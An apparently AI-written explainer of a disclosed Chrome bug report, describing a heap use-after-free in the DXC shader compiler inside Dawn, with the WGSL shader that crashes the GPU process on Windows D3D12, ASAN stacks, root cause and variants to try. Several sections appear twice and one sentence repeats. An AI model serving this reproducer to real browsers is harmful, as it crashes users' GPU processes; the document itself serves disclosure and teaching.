The instruction was created earlier in the same pass, by PatchZeroIdxGEP, and is later destroyed and then used by SplitMemCpy.

Step 4: the ASAN shadow map

The report includes the shadow bytes around the faulting address, with the faulting byte marked in brackets:

Text
Shadow bytes around the buggy address:
  0x1242774bd700: fa fa f7 fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x1242774bd780: fa fa f7 fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x1242774bd800: fa fa f7 fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x1242774bd880: fa fa f7 fa fd fd fd fd fd fd fd fd fd fd fd fa
  0x1242774bd900: fa fa f7 fa fd fd fd fd fd fd fd fd fd fd fd fd
=>0x1242774bd980: fa fa f7 fa fd fd fd fd fd fd[fd]fd fd fd fd fd
  0x1242774bda00: fa fa f7 fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x1242774bda80: fa fa f7 fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x1242774bdb00: fa fa f7 fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x1242774bdb80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1242774bdc00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

The fd bytes mark the freed heap region, consistent with the use-after-free classification.

Step 5: exploitability notes

The report includes the ASAN additional info section, which records the task trace through gpu::SchedulerDfs::RunNextTask and gpu::SchedulerDfs::TryScheduleSequence, and the following assessment:

Text
MiraclePtr Status: NOT PROTECTED
No raw_ptr<T> access to this region was detected prior to this crash.
This crash is still exploitable with MiraclePtr.

MiraclePtr is Chromium's mitigation for use-after-free of reference-counted objects; here it does not apply, because the freed object is an LLVM instruction inside DXC, not a Chromium garbage-collected or reference-counted object. The report also shows the process aborting (==4148==ABORTING) and a final frame in win32u!NtGdiDdDDIWaitForVerticalBlankEvent.

Root cause

The fault is in DXC's scalar replacement of aggregates pass for HLSL, ScalarReplAggregatesHLSL.cpp. Within MemcpySplitter::SplitMemCpy, an llvm::ICmpInst is destroyed with eraseFromParent and then accessed again in the same function, at line 1118. The instruction had been created earlier in the pass by PatchZeroIdxGEP (line 929), called from SROA_Parameter_HLSL::runOnModule (line 4195), and is consumed later by SROA_Helper::LowerMemcpy and SROAGlobalAndAllocas.

The WGSL that reaches this code is a self-assignment of a private global whose type is a struct containing a bool builtin. Tint lowers that to HLSL containing a memcpy of the aggregate, and the SROA pass splits the memcpy into per-member copies. The comparison instruction is erased by SplitMemCpy and then used again in the same function. The report does not go further into the exact control flow inside SplitMemCpy.

Existing defences did not stop it: the bug is inside a third-party compiler vendored into Dawn, so Chromium's own memory-safety mitigations (including MiraclePtr, as the report notes) do not cover the object. ASAN is what reports the use-after-free.

Impact

The immediate effect is a crash of the GPU process, triggered by a web page containing the shader above, on Windows with the D3D12 backend. Because the fault is a heap use-after-free in the compiler, the report classifies it as still exploitable with MiraclePtr, meaning the corrupted object is outside the reach of that mitigation. The report does not demonstrate code execution or any other concrete consequence beyond the crash, and the practical exploitability of a UAF inside the shader compiler depends on heap layout control that the report does not discuss.

Fix

The report does not describe the patch. The report does not describe the patch.

Variants to test

  1. Other aggregate self-assignments: take the same shader and vary the struct, for example several members, nested structs, or members of different scalar types, keeping the self-assignment of a private global inside a block. A positive result is an ASAN heap-use-after-free in ScalarReplAggregatesHLSL.cpp, ideally in SplitMemCpy or LowerMemcpy.
  2. Different builtins in the struct: replace front_facing with other builtins that lower to scalar members. A positive result is the same crash signature, showing the trigger is the aggregate memcpy rather than the specific builtin.
  3. Self-assignment through function parameters: pass the struct as a parameter and assign it to itself, so that the memcpy is lowered through the parameter path (SROA_Parameter_HLSL) rather than the global path. A positive result is a crash in the same pass with a parameter-related frame in the stack.
  4. Other shader stages: move the same pattern into a vertex or compute entry point. A positive result is the same DXC crash, showing the bug is not fragment-specific.
  5. Other backends that use DXC: any application that compiles HLSL through DXC, not only Chrome, can be tested with equivalent HLSL containing a struct memcpy that SROA will split. A positive result is an ASAN report pointing at MemcpySplitter::SplitMemCpy.

Each of these should be run against an ASAN build, since a release build may not fault at the point of the use.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

What happened, in plain words

A security researcher found a way to make Google Chrome crash on Windows by showing it a very small piece of graphics code. The code is not broken or malicious-looking: it is a valid shader, the kind of program a web page sends to the graphics card to draw things. Chrome passes that shader through several translation steps, and one of those steps, a compiler called DXC that turns the shader into a Windows-specific format, contains a memory bug. When the compiler reaches a particular instruction, it frees a small piece of memory and then reads it again. That is called a use-after-free, and it makes the whole graphics process of the browser die.

The report was filed through the Chrome VRP, Google's programme that pays people for finding security bugs in Chrome. The researcher goes by the handle wgslfuzz.

Context

To follow this, you need a few ideas explained from zero.

WebGPU is a feature of modern browsers that lets a web page talk directly to the graphics card, for example to draw 3D scenes or run heavy calculations quickly. It is an API: a defined set of functions a web page can call. Think of an API as a restaurant menu: the page orders from a fixed list of dishes, and it does not need to know what happens in the kitchen.

Dawn is the part of Chromium (the open-source project Chrome is built from) that implements WebGPU. It is the kitchen behind the menu.

A shader is a small program that runs on the graphics card. A web page writes shaders in a language called WGSL (WebGPU Shading Language).

Tint is the translator inside Chromium that takes WGSL and rewrites it into a format the operating system's graphics driver understands. On Windows, that format is HLSL (High Level Shading Language, Microsoft's shader language).

DXC (DirectX Shader Compiler) is the program that compiles HLSL into the final machine instructions for the graphics card. A copy of DXC ships inside Dawn's third_party folder, which is where Chromium keeps code written by other projects.

The bug reported here is a heap use-after-free inside that HLSL compiler. The heap is the area of memory a program uses for data it creates while running. A use-after-free means the program gives a piece of memory back (frees it) and then keeps using it, like handing back a library book and then reading from it. The crash happens in the GPU process, the separate process Chrome uses for graphics work, not in the process that renders the page itself.

Setup

The researcher's environment, as stated in the report:

Item Value
Chrome version Pre-compiled ASAN Chromium 125.0.6375.0 (Developer Build) (64-bit)
Operating system Win10 Build 19045
Backend D3D12
Crash type GPU process

Two preconditions matter.

  1. The build must be an ASAN build. ASAN stands for AddressSanitizer, a tool built into a special version of the browser that watches every memory access and shouts immediately when a program touches memory it has already freed. ASAN watches memory accesses and reports the use of freed memory.
  2. The machine must run Windows with the D3D12 backend. A backend is the route the browser takes to reach the graphics card. D3D12 is Microsoft's DirectX 12 interface. Only that route sends the shader through HLSL and DXC, so only that route can hit this bug.

Finding it

The researcher's handle is wgslfuzz.

The interesting property of the reproducer is that it is not malformed: it is a shader that a browser can legitimately accept and hand to the compiler. The trigger is a private global variable of a struct type containing a bool builtin, assigned to itself inside a nested block in a fragment entry point.

Exploitation

Step 1: open the HTML file

The report attaches a .html file containing the WebGPU shader. Opening it on Windows with the D3D12 backend crashes the GPU process. The problematic WGSL shader is:

Text
struct S2596889757_ {
    @builtin(front_facing) m0_: bool,
}

var<private> G2178370774_: S2596889757_;

@fragment
fn fragment_main() -> @location(0) vec4<f32> {
    {
        G2178370774_ = G2178370774_;
    }
    return vec4<f32>(0.0, 0.0, 0.0, 0.0);
}

Line by line:

  • struct S2596889757_ { starts the definition of a struct, which is a bundle of named fields grouped together, like a form with boxes. The long number in the name is just a generated identifier.
  • @builtin(front_facing) m0_: bool, declares one field called m0_ of type bool (true or false). The @builtin(front_facing) annotation means the graphics system fills it in automatically: it tells the shader whether the surface being drawn is facing the camera or turned away.
  • } closes the struct.
  • var<private> G2178370774_: S2596889757_; creates a module-level variable, a value that lives for the whole shader. private means each shader invocation gets its own copy. Its type is the struct defined above.
  • @fragment marks the next function as a fragment shader, the program that decides the colour of each pixel.
  • fn fragment_main() -> @location(0) vec4<f32> { declares the entry point. It returns a vec4<f32>, four decimal numbers (red, green, blue, alpha), written to output location 0.
  • { opens an extra block, a nested scope.
  • G2178370774_ = G2178370774_; assigns the global variable to itself. This assigns the global variable to itself.
  • } closes the block.
  • return vec4<f32>(0.0, 0.0, 0.0, 0.0); returns transparent black.
  • } closes the function.

Scalar replacement is a compiler technique that breaks a grouped value into its individual pieces so each can be handled separately.

Step 2: the shader reaches DXC

The call stack shows the path from the browser to the compiler. A call stack is the list of functions currently running, newest on top, like a stack of plates: it shows who called whom. The GPU command buffer service flushes commands, the WebGPU decoder dispatches them to the Dawn wire server, and DeviceBase::CreateRenderPipeline leads through RenderPipelineD3D12::InitializeImpl and ShaderModule::Compile into dawn::native::d3d::CompileShader, which calls DxcCompiler::Compile. From there the stack runs through clang's frontend and backend into the LLVM legacy pass manager and into DXC's SROA_Parameter_HLSL::runOnModule.

In plain terms: the page asks for a render pipeline (the full recipe for drawing), Chrome sends that request across a process boundary to the GPU process, Dawn prepares it, and the shader is handed to DXC for compilation. DXC is built on LLVM, a well-known compiler framework, and LLVM processes code in stages called passes. One of those passes is the scalar replacement pass, and that is where things go wrong.

Step 3: the crash

The top of the stack is the fault:

Text
#0 0x7ffec1a98674 in `anonymous namespace'::MemcpySplitter::SplitMemCpy C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\Transforms\Scalar\ScalarReplAggregatesHLSL.cpp:1118
#1 0x7ffec1aa5ebc in `anonymous namespace'::SROA_Helper::LowerMemcpy C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\Transforms\Scalar\ScalarReplAggregatesHLSL.cpp:4025
#2 0x7ffec1a8d2c7 in `anonymous namespace'::SROAGlobalAndAllocas C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\Transforms\Scalar\ScalarReplAggregatesHLSL.cpp:1937
#3 0x7ffec1a7ede5 in `anonymous namespace'::SROA_Parameter_HLSL::runOnModule C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\Transforms\Scalar\ScalarReplAggregatesHLSL.cpp:4289

Each line names a function, the source file it lives in, and the line number. Frame 0 is where the crash happened: MemcpySplitter::SplitMemCpy, a function that splits a memory copy into smaller copies. Frame 1, SROA_Helper::LowerMemcpy, is the caller that is lowering a memcpy. Frame 2, SROAGlobalAndAllocas, handles globals and local allocations. Frame 3, SROA_Parameter_HLSL::runOnModule, is the overall pass. All four live in the same file, ScalarReplAggregatesHLSL.cpp.

ASAN summarises it as:

Text
SUMMARY: AddressSanitizer: heap-use-after-free C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\Transforms\Scalar\ScalarReplAggregatesHLSL.cpp:1118 in `anonymous namespace'::MemcpySplitter::SplitMemCpy

This single line is ASAN's verdict: the problem is a use-after-free on the heap, at line 1118 of that file, inside SplitMemCpy.

The freed region is described as follows: 0x1242774bd9d0 is located 48 bytes inside of 96-byte region [0x1242774bd9a0,0x1242774bda00). In words: the address that was wrongly used sits 48 bytes into a block of 96 bytes that had been freed. The free stack shows the object being destroyed and erased from its parent:

Text
freed by thread T0 here:
    #0 0x7ff6073baa5d in free C:\b\s\w\ir\cache\builder\src\third_party\llvm\compiler-rt\lib\asan\asan_malloc_win.cpp:82
    #1 0x7ffec073784b in llvm::ICmpInst::~ICmpInst C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\include\llvm\IR\Instructions.h:1093
    #2 0x7ffec182effd in llvm::Instruction::eraseFromParent C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\IR\Instruction.cpp:71
    #3 0x7ffec1a97f0f in `anonymous namespace'::MemcpySplitter::SplitMemCpy C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\Transforms\Scalar\ScalarReplAggregatesHLSL.cpp:1118

This is the story of the free, told from the bottom up. SplitMemCpy (frame 3) calls eraseFromParent (frame 2), which removes an instruction from the list of instructions it belongs to. That triggers the destructor ~ICmpInst (frame 1), which releases the memory with free (frame 0). An ICmpInst is an LLVM instruction that compares two values (integer compare). So the object is an llvm::ICmpInst that SplitMemCpy itself erases from its parent, and the same function then touches the freed memory at the same source line, 1118. The allocation stack shows where the instruction came from:

Text
previously allocated by thread T0 here:
    #0 0x7ff6073bab5d in malloc C:\b\s\w\ir\cache\builder\src\third_party\llvm\compiler-rt\lib\asan\asan_malloc_win.cpp:98
    #1 0x7ffec2d9d41e in operator new D:\a\_work\1\s\src\vctools\crt\vcstartup\src\heap\new_scalar.cpp:36
    #2 0x7ffec18e9e51 in llvm::User::operator new C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\IR\User.cpp:96
    #3 0x7ffec182145a in llvm::CastInst::Create C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\IR\Instructions.cpp:2271
    #4 0x7ffec1a939e4 in `anonymous namespace'::PatchZeroIdxGEP C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\Transforms\Scalar\ScalarReplAggregatesHLSL.cpp:929
    #5 0x7ffec1a7c3de in `anonymous namespace'::SROA_Parameter_HLSL::runOnModule C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\Transforms\Scalar\ScalarReplAggregatesHLSL.cpp:4195

Read from the bottom: the pass SROA_Parameter_HLSL::runOnModule (frame 5) calls PatchZeroIdxGEP (frame 4), which creates a cast instruction with CastInst::Create (frame 3). The cast instruction is allocated through llvm::User::operator new (frame 2) and operator new (frame 1), which ends in malloc (frame 0). A cast instruction converts a value from one type to another. The instruction was created earlier in the same pass, by PatchZeroIdxGEP, and is later destroyed and then used by SplitMemCpy.

Step 4: the ASAN shadow map

The report includes the shadow bytes around the faulting address, with the faulting byte marked in brackets:

Text
Shadow bytes around the buggy address:
  0x1242774bd700: fa fa f7 fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x1242774bd780: fa fa f7 fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x1242774bd800: fa fa f7 fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x1242774bd880: fa fa f7 fa fd fd fd fd fd fd fd fd fd fd fd fa
  0x1242774bd900: fa fa f7 fa fd fd fd fd fd fd fd fd fd fd fd fd
=>0x1242774bd980: fa fa f7 fa fd fd fd fd fd fd[fd]fd fd fd fd fd
  0x1242774bda00: fa fa f7 fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x1242774bda80: fa fa f7 fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x1242774bdb00: fa fa f7 fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x1242774bdb80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1242774bdc00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

A shadow map is ASAN's own notebook about memory. For every eight bytes of real memory, ASAN keeps one byte of notes saying whether that area is safe to use. 00 means all eight bytes are fine. fd means the area has been freed. fa marks a redzone, a buffer ASAN places around allocations to catch overruns. The fd bytes mark the freed heap region, consistent with the use-after-free classification. The arrow points at the exact byte that was touched after being freed.

Step 5: exploitability notes

The report includes the ASAN additional info section, which records the task trace through gpu::SchedulerDfs::RunNextTask and gpu::SchedulerDfs::TryScheduleSequence, and the following assessment:

Text
MiraclePtr Status: NOT PROTECTED
No raw_ptr<T> access to this region was detected prior to this crash.
This crash is still exploitable with MiraclePtr.

MiraclePtr is Chromium's mitigation for use-after-free of reference-counted objects. Reference counting means each object keeps a tally of how many parts of the program are using it, and it is destroyed when the tally reaches zero; MiraclePtr makes a stale pointer to such an object fail safely instead of reading freed memory. Here it does not apply, because the freed object is an LLVM instruction inside DXC, not a Chromium garbage-collected or reference-counted object. The report also shows the process aborting (==4148==ABORTING) and a final frame in win32u!NtGdiDdDDIWaitForVerticalBlankEvent.

Root cause

The fault is in DXC's scalar replacement of aggregates pass for HLSL, ScalarReplAggregatesHLSL.cpp. An aggregate is a value made of several parts, like the struct in the shader. Within MemcpySplitter::SplitMemCpy, an llvm::ICmpInst is destroyed with eraseFromParent and then accessed again in the same function, at line 1118. The instruction had been created earlier in the pass by PatchZeroIdxGEP (line 929), called from SROA_Parameter_HLSL::runOnModule (line 4195), and is consumed later by SROA_Helper::LowerMemcpy and SROAGlobalAndAllocas.

The WGSL that reaches this code is a self-assignment of a private global whose type is a struct containing a bool builtin. Tint lowers that to HLSL containing a memcpy of the aggregate, and the SROA pass splits the memcpy into per-member copies. The comparison instruction is erased by SplitMemCpy and then used again in the same function. The report does not go further into the exact control flow inside SplitMemCpy.

Existing defences did not stop it: the bug is inside a third-party compiler vendored into Dawn, so Chromium's own memory-safety mitigations (including MiraclePtr, as the report notes) do not cover the object. ASAN is what reports the use-after-free.

Impact

The immediate effect is a crash of the GPU process, triggered by a web page containing the shader above, on Windows with the D3D12 backend. Because the fault is a heap use-after-free in the compiler, the report classifies it as still exploitable with MiraclePtr, meaning the corrupted object is outside the reach of that mitigation. The report does not demonstrate code execution or any other concrete consequence beyond the crash, and the practical exploitability of a UAF inside the shader compiler depends on heap layout control that the report does not discuss.

Fix

The report does not describe the patch. The report does not describe the patch.

Variants to test

  1. Other aggregate self-assignments: take the same shader and vary the struct, for example several members, nested structs, or members of different scalar types, keeping the self-assignment of a private global inside a block. A positive result is an ASAN heap-use-after-free in ScalarReplAggregatesHLSL.cpp, ideally in SplitMemCpy or LowerMemcpy.
  2. Different builtins in the struct: replace front_facing with other builtins that lower to scalar members. A positive result is the same crash signature, showing the trigger is the aggregate memcpy rather than the specific builtin.
  3. Self-assignment through function parameters: pass the struct as a parameter and assign it to itself, so that the memcpy is lowered through the parameter path (SROA_Parameter_HLSL) rather than the global path. A positive result is a crash in the same pass with a parameter-related frame in the stack.
  4. Other shader stages: move the same pattern into a vertex or compute entry point. A positive result is the same DXC crash, showing the bug is not fragment-specific.
  5. Other backends that use DXC: any application that compiles HLSL through DXC, not only Chrome, can be tested with equivalent HLSL containing a struct memcpy that SROA will split. A positive result is an ASAN report pointing at MemcpySplitter::SplitMemCpy.

Each of these should be run against an ASAN build, since a release build may not fault at the point of the use.

Glossary

  • API: a defined set of functions one program offers to another, like a menu of things you are allowed to order.
  • ASAN (AddressSanitizer): a tool built into special builds of a program that watches memory accesses and reports any use of freed or out-of-bounds memory.
  • Aggregate: a value made of several parts, such as a struct.
  • Backend: the route a browser takes to reach the graphics hardware, for example D3D12 on Windows.
  • Bounty: money paid by a company to someone who reports a security bug.
  • Builtin: a value the graphics system fills in automatically for a shader, such as whether a surface faces the camera.
  • Call stack: the list of functions currently running, newest on top, showing who called whom.
  • CVE: a public identifier for a known security vulnerability.
  • D3D12: Microsoft's DirectX 12 interface for talking to the graphics card.
  • Dawn: Chromium's implementation of WebGPU.
  • DXC (DirectX Shader Compiler): the compiler that turns HLSL into machine instructions for the graphics card.
  • Fragment shader: the part of a graphics program that decides the colour of each pixel.
  • Fuzzing: feeding a program many automatically generated or mutated inputs and watching for crashes.
  • GPU process: the separate browser process that performs graphics work.
  • Heap: the area of memory a program uses for data it creates while running.
  • HLSL: Microsoft's shader programming language.
  • ICmpInst: an LLVM instruction that compares two values.
  • LLVM: a widely used compiler framework that DXC is built on.
  • Memcpy: a memory copy, moving a block of bytes from one place to another.
  • MiraclePtr: a Chromium mitigation that makes stale pointers to reference-counted objects fail safely.
  • Pass: one stage of a compiler's processing of code.
  • Reference counting: tracking how many parts of a program use an object, and destroying it when the count reaches zero.
  • Scalar replacement (SROA): a compiler technique that breaks a grouped value into its individual pieces so each can be handled separately.
  • Shader: a small program that runs on the graphics card.
  • Shadow map: ASAN's own notes about which areas of memory are safe, freed or off limits.
  • Struct: a bundle of named fields grouped together.
  • Tint: Chromium's translator from WGSL to an OS-specific shader format.
  • Use-after-free: a bug where a program frees a piece of memory and then keeps using it.
  • WebGPU: a browser feature that lets web pages use the graphics card.
  • WGSL: WebGPU Shading Language, the language web pages write shaders in.

More by wgslfuzz

View all

16 more disclosed reports, best first.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.